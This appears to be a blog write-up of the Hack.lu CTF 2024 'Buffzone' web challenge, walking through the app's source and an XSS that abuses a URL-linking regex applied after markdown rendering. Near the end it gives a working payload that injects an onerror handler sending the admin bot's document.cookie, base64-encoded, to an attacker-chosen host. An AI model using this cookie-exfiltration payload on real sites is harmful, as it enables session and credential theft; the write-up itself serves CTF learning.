> For the complete documentation index, see [llms.txt](https://tazarkour.gitbook.io/blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://tazarkour.gitbook.io/blog/writeups/hack.lu-ctf-2024-or-buffzone-web-xss.md).

# Hack.lu CTF 2024 | Buffzone (Web, XSS)

I participated in Hack.lu this weekend, it has been a very difficult CTF but I managed to solve only the easiest task which wasn't easy by any means.

<figure><img src="/files/5xw8iYodn08EDMGWHbHu" alt=""><figcaption></figcaption></figure>

Let's start by reading the Code :&#x20;

app.js :&#x20;

```javascript
const express = require('express')
const markdownit = require('markdown-it');
const puppeteer = require('puppeteer');
const rateLimit = require("express-rate-limit");


const BASEDOMAIN = process.env.BASEDOMAIN;
const FLAG = process.env.FLAG;

const md = markdownit()
const limiter = rateLimit({
	windowMs: 1 * 60 * 1000, 
	limit: 1, 
    message: "Too many requests, please try again later."
})


const app = express();
app.set('trust proxy', 1);
app.use(express.json());
app.use(express.static("public"))
app.set('view engine', 'pug');


function replaceUrls(text) {
    let regex = /(https:\/\/.*?)\s/gi;
    let replacedText = text.replace(regex, '<a href="$1">$1</a>');
    return replacedText;
}


app.get("/", (req, res) => {
    res.render("index")
});

app.get("/buffzone", (req, res) => {
    let message = req.query.message;
    if (message) {
        res.render("buffzone", { message: replaceUrls(md.render("**" + message + "**")) })
    }
    else {
        res.redirect("/")
    }
});

async function adminVisits(message){
    const browser  = await puppeteer.launch({
        headless: true,
        args: [
            // disable stuff we do not need
            '--disable-gpu', '--disable-software-rasterizer', '--disable-dev-shm-usage',
            // disable sandbox since it does not work inside docker
            // (but we will use seccomp at least)
            '--no-sandbox',
            // no exploits please
            "--js-flags=--noexpose_wasm,--jitless",
        ],
        ignoreHTTPSErrors: true
    });
    const page = await browser.newPage();
    let url =`http://${BASEDOMAIN}/buffzone?message=${encodeURIComponent(message)}`;
    try {
        await page.setCookie({
            name: 'flag',
            value: FLAG,
            domain: BASEDOMAIN,
            path: '/',
            httpOnly: false,
            secure: false
        });

        await page.goto(url, { waitUntil: 'networkidle2' });
        console.log(`Successfully visited: ${url}`);
    } catch (error) {
        console.error(`Error visiting ${url}:`, error);
    }
    await browser.close();
}


app.get("/lambdaQuote", limiter, (req, res) => {
    let message = req.query.message;
    if (message) {
        console.log(`Bot visiting ${message}, from ip ${req.ip}.`);
        try {
            adminVisits(message)
        } catch (error) {
            console.log(error)
            return res.status(500).send("An error occurred")
        }
        return res.status(200).send("Message sent to admin for review!")
    }
    else {
        return res.status(400).send("No message provided")
    }
});

app.listen(80, () => {
    console.log("Server running on port 80");
});
```

We can see the message passes through 2 phases that change it's contents, the first is that it finds links that start with https\:// and transforms them into html anchor tags :&#x20;

```javascript
function replaceUrls(text) {
    let regex = /(https:\/\/.*?)\s/gi;
    let replacedText = text.replace(regex, '<a href="$1">$1</a>');
    return replacedText;
}
```

the next thing is that it renders the modified message into markdown :&#x20;

```javascript
res.render("buffzone", { message: replaceUrls(md.render("**" + message + "**")) })
```

so we need to create an image using the markdown rendering feature, the problem here is the onerror argument that needs to be put in the image, for that we need to inject it using a fake url in the alt feature of the markdown.

a working payload for us would look like this :&#x20;

```
test** !["https:///onerror=alert(1);a="](http://test.txt) **test
```

<figure><img src="/files/h88I7JAJoAUcYSm2Cnfh" alt=""><figcaption></figcaption></figure>

now we can add in our fetch function to get the cookie, but first this challenge only accepts to fetch to https endpoints

<figure><img src="/files/B7OM7UT0oKTL5elTq0KS" alt=""><figcaption></figcaption></figure>

so in order to avoid the replaceUrls feature we need to concat the https letters,&#x20;

```
test** !["https:///onerror=fetch("http"+"s"+"://{URL}?cookie="+btoa(document.cookie));a="](http://test.txt) **test
```

After that you report the link to the bot and get the flag.

<figure><img src="/files/cackAxIyJnbspNXE6exu" alt=""><figcaption></figcaption></figure>

You need to decode it from base64 though.

<figure><img src="/files/3MBIccLIDmGCPe7UxeWB" alt=""><figcaption></figcaption></figure>
